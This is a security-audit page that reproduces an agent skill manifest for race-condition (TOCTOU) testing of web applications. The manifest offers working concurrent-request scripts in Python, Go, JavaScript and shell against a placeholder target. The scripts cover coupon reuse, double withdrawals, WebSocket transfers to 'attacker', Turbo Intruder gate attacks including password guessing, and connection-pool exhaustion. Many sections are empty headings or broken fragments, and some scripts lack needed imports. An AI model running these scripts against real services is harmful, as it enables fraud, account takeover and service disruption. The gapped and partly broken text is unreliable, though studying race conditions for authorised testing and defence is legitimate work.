offensive-race-condition — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited offensive-race-condition (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Race condition (TOCTOU) testing checklist: identifying timing windows, Burp Suite Turbo Intruder, Last-Byte sync technique, rate limit bypass, double-spend attacks, and concurrent request exploitation. Use for web app race condition testing or bug bounty time-of-check-to-time-of-use bugs.
Use this skill when the conversation involves any of: race condition, TOCTOU, timing attack, Turbo Intruder, last-byte sync, rate limit bypass, double spend, concurrent request, race window, time of check, time of use
When this skill is active:
Race conditions occur when the behavior of a system depends on the relative timing or sequence of events that can happen in different orders. In web application security, race conditions happen when multiple concurrent processes or threads access and manipulate the same resource simultaneously without proper synchronization.
sequenceDiagram
participant Thread1 as Thread 1
participant Resource
participant Thread2 as Thread 2
Thread1->>Resource: Read value (100)
Thread2->>Resource: Read value (100)
Thread1->>Thread1: Calculate new value (100-10=90)
Thread2->>Thread2: Calculate new value (100-10=90)
Thread1->>Resource: Write new value (90)
Thread2->>Resource: Write new value (90)
Note over Resource: Expected final value: 80<br/>Actual final value: 90A race condition becomes a security vulnerability when it affects security controls or business logic. The critical types include:
graph TD
subgraph "Common Race Condition Types"
A[Race Conditions] --> B[TOCTOU]
A --> C[Read-Modify-Write]
A --> D[Thread Safety Issues]
A --> E[Resource Allocation]
B --> B1["Check balance, then debit"]
C --> C1["Update counter or balance"]
D --> D1["Shared cache or session data"]
E --> E1["Limited coupon or inventory"]
endCommon vulnerable scenarios include:
#### Target Functionality Selection
Focus on features handling state changes, limited resources, or critical operations:
#### Testing Prerequisites
#### Testing Methodology
flowchart TD
A[Race Condition Testing] --> B[Baseline Analysis]
A --> C[Race Condition Detection]
A --> D[Timing Manipulation]
A --> E[Proof of Concept]
B --> B1[Identify state-changing operations]
B --> B2[Document normal transaction flow]
C --> C1[Send identical requests simultaneously]
C --> C2[Observe state changes]
D --> D1[Identify critical timing windows]
D --> D2[Vary delays between requests]
E --> E1[Create reproducible exploit]
E --> E2[Document impact scenarios]#### API-Based Race Condition Testing
import requests
import threading
def make_request():
requests.post('https://target.com/api/redeem',
json={'coupon_code': 'ONCE123'},
headers={'Authorization': 'Bearer token'})
threads = []
for _ in range(20):
t = threading.Thread(target=make_request)
threads.append(t)
t.start()
for t in threads:
t.join()#### Transaction-Based Race Condition Testing
Step 1: Start purchase (single request)
Step 2: Apply coupon (single request)
Step 3: Send 20 simultaneous "confirm order" requests#### Thread Synchronization Testing
Create coordinated attacks that target specific timing windows:
import requests
import threading
import time
start_gate = threading.Event()
def synchronized_request():
start_gate.wait() # All threads wait here until flag is set
requests.post('https://target.com/api/withdraw',
json={'amount': '100'},
headers={'Authorization': 'Bearer token'})
threads = []
for _ in range(50):
t = threading.Thread(target=synchronized_request)
t.daemon = True
threads.append(t)
t.start()
# Release all threads simultaneously
time.sleep(2) # Ensure all threads are waiting
start_gate.set()#### Network-Level Timing Manipulation
Beyond application-level threading, manipulating network-level timing can be effective:
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
for _ in range(20):
engine.queue(target.req, gate='race')
engine.openGate('race')#### Rate-Limiter and CAPTCHA Races
graph LR
subgraph "Race Condition Vulnerability Impacts"
A[Race Conditions] --> B[Financial Systems]
A --> C[Account & Authentication]
A --> D[Resource Management]
A --> E[Application-Specific]
A --> F[Rate Limiting & Anti-Automation]
B --> B1[Double Withdrawal]
B --> B2[Transaction Rollback Abuse]
C --> C1[Multiple Account Creation]
C --> C2[Token Reuse]
C --> C3[MFA Bypass]
D --> D1[Upload-Download Race]
D --> D2[Resource Over-allocation]
E --> E1[Shopping Cart Race]
E --> E2[Auction Sniping]
F --> F1[OTP/Reset Code Reuse]
F --> F2[CAPTCHA Reuse]
end#### Financial Systems Vulnerabilities
#### Account and Authentication Vulnerabilities
#### Resource Management Vulnerabilities
#### Specific Application Patterns
Some application frameworks (like PHP with default session handling) lock session files when session_start() is called, preventing concurrent requests from the _same_ session from executing simultaneously. If the application allows a user to have multiple active sessions, this can be bypassed:
PHPSESSID).Different database isolation levels handle concurrency differently. Test each level to identify race vulnerabilities:
PostgreSQL Isolation Levels:
-- READ UNCOMMITTED (treats as READ COMMITTED in PostgreSQL)
BEGIN TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
-- READ COMMITTED (default) - prone to races
BEGIN TRANSACTION ISOLATION LEVEL READ COMMITTED;
SELECT balance FROM accounts WHERE id = 123;
-- Race window here
UPDATE accounts SET balance = balance - 100 WHERE id = 123;
COMMIT;
-- REPEATABLE READ - prevents some races
BEGIN TRANSACTION ISOLATION LEVEL REPEATABLE READ;
-- SERIALIZABLE - strongest protection
BEGIN TRANSACTION ISOLATION LEVEL SERIALIZABLE;Testing Strategy:
SELECT * FROM table FOR UPDATE; -- Row-level lock
LOCK TABLE table IN EXCLUSIVE MODE; -- Table-level lockMySQL/MariaDB:
-- Test for missing row locks
START TRANSACTION;
SELECT balance FROM accounts WHERE id = 123;
-- Send parallel transactions here
UPDATE accounts SET balance = balance - 100 WHERE id = 123;
COMMIT;
-- Test with explicit locking
SELECT * FROM accounts WHERE id = 123 FOR UPDATE;Testing for Advisory Locks:
-- PostgreSQL advisory locks
SELECT pg_try_advisory_lock(12345);
-- Test if application uses them
-- Send parallel requests and monitor pg_locks table
SELECT * FROM pg_locks WHERE locktype = 'advisory';WebSocket connections maintain persistent state and can be vulnerable to race conditions:
Message Processing Races:
// Send concurrent WebSocket messages
const ws = new WebSocket("wss://target.com/socket");
ws.onopen = () => {
// Send multiple messages rapidly
for (let i = 0; i < 50; i++) {
ws.send(
JSON.stringify({
action: "transfer",
amount: 100,
to: "attacker",
}),
);
}
};Connection Upgrade Races:
# Multiple simultaneous WebSocket handshakes
for i in {1..20}; do
curl -i -N \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
-H "Sec-WebSocket-Version: 13" \
https://target.com/socket &
done
waitTesting Scenarios:
#### AWS Lambda Specific
Concurrent Execution Testing:
import boto3
import concurrent.futures
lambda_client = boto3.client('lambda')
def invoke_lambda():
return lambda_client.invoke(
FunctionName='vulnerable-function',
InvocationType='RequestResponse',
Payload='{"action": "redeem_coupon", "code": "SAVE50"}'
)
# Test concurrent invocations
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(invoke_lambda) for _ in range(50)]
results = [f.result() for f in futures]Reserved Concurrency Bypass:
DynamoDB Conditional Write Testing:
import boto3
from boto3.dynamodb.conditions import Attr
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('coupons')
# Test if conditional writes are used
def redeem_coupon():
table.update_item(
Key={'code': 'SAVE50'},
UpdateExpression='SET used = :val',
ConditionExpression=Attr('used').eq(False), # Should prevent races
ExpressionAttributeValues={':val': True}
)#### GCP Cloud Functions
Concurrent Trigger Testing:
# Test HTTP-triggered Cloud Functions
for i in {1..50}; do
curl -X POST https://region-project.cloudfunctions.net/function \
-H "Content-Type: application/json" \
-d '{"action": "claim_reward"}' &
done
wait#### Azure Functions
Singleton Testing:
// Check if Azure Functions use Singleton attribute
[Singleton] // Should prevent concurrent execution
public static void Run([QueueTrigger("queue")] string msg) { }SendMsg frames before the backend commits state.#### Critical Impact Scenarios
#### Example Exploits
#### Race Condition Testing Tools
#### Custom Scripting
import asyncio
import aiohttp
async def make_request(session):
async with session.post('https://target.com/api/action',
data={'param': 'value'}) as response:
return await response.text()
async def main():
async with aiohttp.ClientSession() as session:
tasks = [make_request(session) for _ in range(50)]
responses = await asyncio.gather(*tasks)
# Analyze responses
asyncio.run(main())package main
import (
"net/http"
"sync"
)
func main() {
var wg sync.WaitGroup
for i := 0; i < 50; i++ {
wg.Add(1)
go func() {
http.Post("https://target.com/api/action",
"application/json",
strings.NewReader(`{"param":"value"}`))
wg.Done()
}()
}
wg.Wait()
}#### Comprehensive Race Condition Test Methodology
sequenceDiagram
participant Tester
participant Application
participant Database
Note over Tester: Preparation Phase
Tester->>Application: Identify state-changing operations
Tester->>Application: Create test accounts
Tester->>Tester: Prepare concurrent request tools
Note over Tester: Discovery Phase
Tester->>Application: Send 50+ parallel requests
Application->>Database: Multiple concurrent operations
Note over Database: Race condition occurs
Database->>Application: Inconsistent state
Application->>Tester: Observe anomalous behavior
Note over Tester: Exploitation Phase
Tester->>Tester: Fine-tune timing parameters
Tester->>Application: Execute optimized attack
Tester->>Tester: Document impact#### E-commerce Application Testing
#### Banking Application Testing
#### API Testing for Race Conditions
When functionality chains with multiple requests, for example in e-commerce:
- /product --> for the product
- /cart --> Add to cart that product
- /cart/checkout --> Buy that productCommon in email change functionality:
Account A: Attacker --> [email protected]
Account B: Victim --> [email protected]Applications using connection pools (database, Redis, HTTP clients) can be vulnerable:
# Test connection pool exhaustion
import requests
import threading
def hold_connection():
# Keep connection open without releasing
r = requests.get('https://target.com/long-running-query', stream=True)
# Don't close, hold for 30 seconds
time.sleep(30)
# Exhaust pool
threads = []
for _ in range(100): # More than pool size
t = threading.Thread(target=hold_connection)
threads.append(t)
t.start()
# Now test if race conditions occur in queue processingTesting Strategy:
Deployment processes can have race conditions affecting security:
Artifact Deployment Races:
latest tag pointing to old image)Database Migration Races:
# Two deployment instances running migrations simultaneously
# Test by triggering parallel deployments
# Check for migration locks
kubectl get pods -l job-name=db-migrate
# Test concurrent schema changesConfiguration Deployment:
Testing Approach:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='1')
engine.openGate('1')
def handleResponse(req, interesting):
table.add(req)~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.